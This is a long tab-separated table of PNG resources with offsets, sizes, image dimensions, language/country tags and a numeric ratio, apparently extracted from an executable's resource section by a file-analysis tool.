PNG	0x3c38a8	0x37d	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0123180291153415
PNG	0x3c3510	0x395	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0119956379498365
PNG	0x3c2920	0xbea	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0036065573770492
PNG	0x3beda8	0x13b4	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021808088818398
PNG	0x3c11e8	0x369	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126002290950744
PNG	0x3c0e18	0x3cc	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0113168724279835
PNG	0x3c0160	0xcb2	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0033846153846153
PNG	0x3c3c28	0x13ac	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021842732327244
PNG	0x3c5f98	0x364	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012672811059908
PNG	0x3c5bd8	0x3ba	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0115303983228512
PNG	0x3c4fd8	0xbff	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0035818951481603
PNG	0x3ba160	0x139f	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021899263388414
PNG	0x3bc450	0x380	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0122767857142858
PNG	0x3bc0f8	0x352	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0129411764705882
PNG	0x3bb500	0xbf8	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0035900783289817
PNG	0x3b7498	0x1e3	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.0227743271221532
PNG	0x3b7680	0x3d2	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0112474437627812
PNG	0x3b7b30	0x13ad	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021838395870557
PNG	0x3b9df8	0x365	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126582278481013
PNG	0x3b9a80	0x374	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x3b8ee0	0xb9a	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0037037037037038
PNG	0x3b7a58	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.028301886792453
PNG	0x3c6300	0x1394	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.00219473264166
PNG	0x3c86f8	0x374	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x3c8300	0x3f4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0108695652173914
PNG	0x3c7698	0xc62	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0034700315457412
PNG	0x3bc7d0	0x1397	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021934197407776
PNG	0x3bea30	0x373	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0124575311438277
PNG	0x3be6f0	0x33d	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0132689987937273
PNG	0x3bdb68	0xb84	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0003392130257802
PNG	0x3b5e90	0xb1	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0169491525423728
PNG	0x3a21e8	0x1da	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.0232067510548524
PNG	0x3a1e70	0x375	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0124293785310734
PNG	0x3b1600	0x1a5	PNG image data, 9 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0261282660332542
PNG	0x3b17a8	0x71	PNG image data, 5 x 5, 8-bit/color RGB, non-interlaced	English	United States	0.9911504424778761
PNG	0x3b1b68	0x11a	PNG image data, 11 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0283687943262412
PNG	0x3b1598	0x67	PNG image data, 2 x 55, 8-bit/color RGBA, non-interlaced	English	United States	0.9902912621359223
PNG	0x3b49e8	0xe0	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.03125
PNG	0x3b4de8	0xa40	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	English	United States	0.9733231707317073
PNG	0x3b4ac8	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0171073094867806
PNG	0x3b4d50	0x93	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0136054421768708
PNG	0x3b4060	0x985	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.00451374640952
PNG	0x3b3690	0x9ca	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.00438946528332
PNG	0x3b3350	0x339	PNG image data, 11 x 45, 8-bit/color RGBA, non-interlaced	English	United States	1.0133333333333334
PNG	0x39c2c0	0x214	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0206766917293233
PNG	0x39c4d8	0x22e	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0197132616487454
PNG	0x39c7a0	0xb3	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	English	United States	1.011173184357542
PNG	0x39c708	0x95	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	0.9932885906040269
PNG	0x39c858	0x414	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.010536398467433
PNG	0x39cc70	0x414	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.010536398467433
PNG	0x39d088	0x1fb	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0216962524654833
PNG	0x39d288	0x179	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0159151193633953
PNG	0x39d5d0	0x179	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0053050397877985
PNG	0x39d750	0x114	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0289855072463767
PNG	0x39d408	0x10e	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.011111111111111
PNG	0x39d518	0xb6	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0054945054945055
PNG	0x39d868	0x17e	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0287958115183247
PNG	0x39d9e8	0x15c	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0201149425287357
PNG	0x39f5a0	0xf6f	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0027841052898
PNG	0x3a0510	0x143	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0340557275541795
PNG	0x39f228	0x110	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	English	United States	1.0294117647058822
PNG	0x39f1a0	0x87	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.0074074074074073
PNG	0x39eb00	0x13b	PNG image data, 9 x 9, 8-bit/color RGB, non-interlaced	English	United States	1.0253968253968253
PNG	0x39e658	0x4a1	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.009282700421941
PNG	0x3d0708	0x25e	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.018151815181518
PNG	0x3d04f0	0x79	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	English	United States	0.9752066115702479
PNG	0x3cd488	0x167	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9972144846796658
PNG	0x3cd710	0x278	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	English	United States	1.0174050632911393
PNG	0x3cd5f0	0x11a	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9680851063829787
PNG	0x3d0030	0xd4	PNG image data, 22 x 38, 8-bit/color RGB, non-interlaced	English	United States	1.0235849056603774
PNG	0x3cf178	0x38d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.012101210121012
PNG	0x3cf508	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0179445350734095
PNG	0x3cf820	0x11a	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0319148936170213
PNG	0x3cf770	0xaa	PNG image data, 2 x 19, 8-bit/color RGB, non-interlaced	English	United States	1.011764705882353
PNG	0x3cf940	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0268456375838926
PNG	0x3cef68	0x209	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.021113243761996
PNG	0x3d03f8	0xf5	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0244897959183674
PNG	0x3d19c0	0xa6	PNG image data, 54 x 31, 8-bit/color RGB, non-interlaced	English	United States	1.0180722891566265
PNG	0x3d1870	0x150	PNG image data, 54 x 124, 8-bit/color RGB, non-interlaced	English	United States	1.0327380952380953
PNG	0x3d0108	0xac	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0174418604651163
PNG	0x3d01b8	0x8b	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x3d0248	0x98	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.006578947368421
PNG	0x3d02e0	0x91	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.006896551724138
PNG	0x3d0378	0x7d	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.008
PNG	0x3e7840	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x3e7780	0xbd	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0105820105820107
PNG	0x3e2780	0xa07	PNG image data, 13 x 156, 8-bit/color RGBA, non-interlaced	English	United States	1.004285157771718
PNG	0x3d9d60	0x1de1	PNG image data, 52 x 336, 8-bit/color RGBA, non-interlaced	English	United States	1.0014380964832004
PNG	0x3dbb48	0x1be	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0246636771300448
PNG	0x3dbd08	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0082150858849888
PNG	0x3e7310	0x46c	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.0097173144876326
PNG	0x3e3610	0xaf	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.0171428571428571
PNG	0x3e0690	0x701	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0061349693251533
PNG	0x3e0d98	0x498	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0093537414965987
PNG	0x3e1c78	0x5c1	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0074677528852682
PNG	0x3e2240	0x539	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0082273747195214
PNG	0x3e1230	0x5c7	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0074374577417173
PNG	0x3e17f8	0x47f	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.009556907037359
PNG	0x3d39a8	0x585	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0077848549186128
PNG	0x3d4418	0x546	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0081481481481482
PNG	0x3d3f30	0x4e1	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0088070456365092
PNG	0x3d4960	0x5b0	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.007554945054945
PNG	0x3d7fd8	0x1b3	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.025287356321839
PNG	0x3d8190	0xea	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0299145299145298
PNG	0x3d8280	0x1ad9	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	English	United States	1.0016004655899897
PNG	0x3dcb10	0xb43	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0038154699965314
PNG	0x3dd658	0x609	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0071197411003237
PNG	0x3ddc68	0x18ae	PNG image data, 43 x 234, 8-bit/color RGBA, non-interlaced	English	United States	1.0017410572966128
PNG	0x3df518	0x1177	PNG image data, 43 x 135, 8-bit/color RGBA, non-interlaced	English	United States	1.0024602997092373
PNG	0x3d59e8	0x25ec	PNG image data, 43 x 330, 8-bit/color RGBA, non-interlaced	English	United States	1.0011330861145447
PNG	0x3d4f10	0xad3	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0039696860339227
PNG	0x3e7990	0xbc8	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0036472148541113
PNG	0x3e8558	0xc2e	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0035279025016035
PNG	0x3e4368	0x5dd	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0073284477015323
PNG	0x3e3dd0	0x597	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	English	United States	1.0076869322152342
PNG	0x3e37d8	0x5f8	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.007198952879581
PNG	0x3e33e8	0x228	PNG image data, 54 x 69, 8-bit/color RGBA, non-interlaced	English	United States	1.019927536231884
PNG	0x3e4948	0x588	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	English	United States	1.0077683615819208
PNG	0x3dc248	0x38a	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0121412803532008
PNG	0x3dc5d8	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0082706766917293
PNG	0x3d1a68	0x32f	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0134969325153373
PNG	0x3d1d98	0xef8	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	0.9950417536534447
PNG	0x3d2c90	0x7c	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9919354838709677
PNG	0x3f52f0	0x13c1	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021752026893416
PNG	0x3f7cb0	0x37d	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0123180291153415
PNG	0x3f7918	0x395	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0119956379498365
PNG	0x3f66b8	0x125e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023394300297745
PNG	0x3f24d8	0x13b4	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021808088818398
PNG	0x3f4f80	0x369	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126002290950744
PNG	0x3f4bb0	0x3cc	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0113168724279835
PNG	0x3f3890	0x1320	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002246732026144
PNG	0x3f8030	0x13ac	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021842732327244
PNG	0x3faa18	0x364	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012672811059908
PNG	0x3fa658	0x3ba	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0115303983228512
PNG	0x3f93e0	0x1274	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023285351397122
PNG	0x3ecbe8	0x139f	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021899263388414
PNG	0x3ef568	0x380	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0122767857142858
PNG	0x3ef210	0x352	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0129411764705882
PNG	0x3edf88	0x1288	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002318718381113
PNG	0x3e9188	0x99d	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.004469727752946
PNG	0x3e9b28	0x2e6	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0148247978436657
PNG	0x3e9ee8	0x13ad	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021838395870557
PNG	0x3ec880	0x365	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126582278481013
PNG	0x3ec508	0x374	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x3eb298	0x126b	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023329798515377
PNG	0x3e9e10	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.028301886792453
PNG	0x3fad80	0x1394	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.00219473264166
PNG	0x3fd818	0x374	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x3fd420	0x3f4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0108695652173914
PNG	0x3fc118	0x1304	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0022596548890714
PNG	0x3ef8e8	0x1397	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021934197407776
PNG	0x3f2160	0x373	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0124575311438277
PNG	0x3f1e20	0x33d	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0132689987937273
PNG	0x3f0c80	0x119e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002439024390244
PNG	0x3e78e8	0xa6	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x3d3008	0x99d	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.004469727752946
PNG	0x3d2d10	0x2f7	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0144927536231885
PNG	0x3e31f0	0x17e	PNG image data, 9 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0287958115183247
PNG	0x3e3370	0x71	PNG image data, 5 x 5, 8-bit/color RGB, non-interlaced	English	United States	0.9911504424778761
PNG	0x3e36c0	0x117	PNG image data, 11 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.021505376344086
PNG	0x3e3188	0x67	PNG image data, 2 x 55, 8-bit/color RGBA, non-interlaced	English	United States	0.9902912621359223
PNG	0x3e64d8	0xd7	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.0232558139534884
PNG	0x3e68d0	0xa40	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	English	United States	0.9733231707317073
PNG	0x3e65b0	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0171073094867806
PNG	0x3e6838	0x93	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0136054421768708
PNG	0x3e5b68	0x96a	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.004564315352697
PNG	0x3e51c8	0x99b	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.0044733631557543
PNG	0x3e4ed0	0x2f7	PNG image data, 11 x 45, 8-bit/color RGBA, non-interlaced	English	United States	1.0144927536231885
PNG	0x3cd988	0x1d3	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.019271948608137
PNG	0x3cdb60	0x1f8	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0138888888888888
PNG	0x3cddf0	0x67	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	English	United States	0.9514563106796117
PNG	0x3cdd58	0x95	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x3cde58	0x39d	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.011891891891892
PNG	0x3ce1f8	0x39d	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.011891891891892
PNG	0x3ce598	0x1c1	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.024498886414254
PNG	0x3ce760	0x153	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0324483775811208
PNG	0x3cea78	0x15f	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0113960113960114
PNG	0x3cebd8	0x100	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.03515625
PNG	0x3ce8b8	0x108	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.018939393939394
PNG	0x3ce9c0	0xb6	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.010989010989011
PNG	0x3cecd8	0x151	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.032640949554896
PNG	0x3cee30	0x135	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.029126213592233
PNG	0x3d0968	0xdd3	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	0.9960440802486578
PNG	0x3d1740	0x129	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0303030303030303
PNG	0x3d05f8	0x10b	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	English	United States	1.0337078651685394
PNG	0x3d0570	0x87	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.0074074074074073
PNG	0x3cff00	0x12f	PNG image data, 9 x 9, 8-bit/color RGB, non-interlaced	English	United States	1.0264026402640265
PNG	0x3cfa70	0x48d	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.009442060085837
PNG	0x3ff4e8	0xdd1	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.003109980209217
PNG	0x404ba0	0xd61	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0032116788321168
PNG	0x405908	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0179445350734095
PNG	0x405b70	0xbb9	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0036654448517162
PNG	0x406730	0xc66	PNG image data, 10 x 28, 8-bit/color RGBA, non-interlaced	English	United States	1.0034656584751103
PNG	0x407398	0xb90	PNG image data, 10 x 28, 8-bit/color RGBA, non-interlaced	English	United States	1.0037162162162163
PNG	0x42a5d0	0xb07	PNG image data, 5 x 5, 8-bit/color RGBA, non-interlaced	English	United States	1.003896563939072
PNG	0x429a80	0xb50	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0037983425414365
PNG	0x4128f0	0x2885	PNG image data, 42 x 348, 8-bit/color RGBA, non-interlaced	English	United States	1.0010604453870626
PNG	0x415178	0xd8e	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0031700288184437
PNG	0x415f08	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0082150858849888
PNG	0x4270e0	0x4f3	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.0086819258089976
PNG	0x41a758	0x130f	PNG image data, 22 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0022545603607296
PNG	0x41ba68	0xe74	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.002972972972973
PNG	0x41e918	0x11ba	PNG image data, 22 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.002423975319524
PNG	0x41fad8	0xece	PNG image data, 11 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0029023746701846
PNG	0x41c8e0	0x11ba	PNG image data, 22 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.002423975319524
PNG	0x41daa0	0xe74	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.002972972972973
PNG	0x407f28	0x1206	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0023840485478976
PNG	0x40a260	0x11bc	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0024229074889868
PNG	0x409130	0x112a	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0025034137460174
PNG	0x40b420	0x127a	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0023255813953489
PNG	0x40efc0	0xd3e	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.003244837758112
PNG	0x40fd00	0xbac	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0036813922356091
PNG	0x411480	0x146a	PNG image data, 56 x 69, 8-bit/color RGBA, non-interlaced	English	United States	1.0021048603138156
PNG	0x416448	0x122f	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0023630504833512
PNG	0x417678	0xdec	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0030864197530864
PNG	0x418468	0x1100	PNG image data, 42 x 228, 8-bit/color RGBA, non-interlaced	English	United States	1.0025275735294117
PNG	0x419568	0x11ed	PNG image data, 42 x 140, 8-bit/color RGBA, non-interlaced	English	United States	1.0023970363913706
PNG	0x40d758	0x1864	PNG image data, 42 x 330, 8-bit/color RGBA, non-interlaced	English	United States	1.0003203074951954
PNG	0x40c6a0	0x10b5	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0025718961889174
PNG	0x4275d8	0x124b	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0023489216314327
PNG	0x428828	0x1256	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0023434171282488
PNG	0x4227f8	0xf2c	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.002832131822863
PNG	0x421918	0xede	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	English	United States	1.0028901734104045
PNG	0x4209a8	0xf69	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0027883396704689
PNG	0x423728	0xe20	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	English	United States	1.0030420353982301
PNG	0x42b0d8	0xdc7	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0031187978451943
PNG	0x4002c0	0xbae	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0036789297658864
PNG	0x400e70	0xd91	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.003167290526922
PNG	0x401c08	0xb12	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.003881439661256
PNG	0x4371a8	0xbc3	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0036532713384259
PNG	0x436508	0xc9f	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.003404518724853
PNG	0x435788	0xd7d	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0031856356791196
PNG	0x434b90	0xbf7	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0035912504080966
PNG	0x433ef8	0xc96	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0034140285536934
PNG	0x433168	0xd8c	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0031718569780854
PNG	0x439790	0xbda	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0036255767963085
PNG	0x438af0	0xca0	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0034034653465347
PNG	0x437d70	0xd80	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0031828703703705
PNG	0x42ff88	0xbe2	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0036160420775806
PNG	0x42f2f8	0xc8c	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0034246575342465
PNG	0x42e578	0xd7b	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0031874818893074
PNG	0x42d990	0xbe7	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0036101083032491
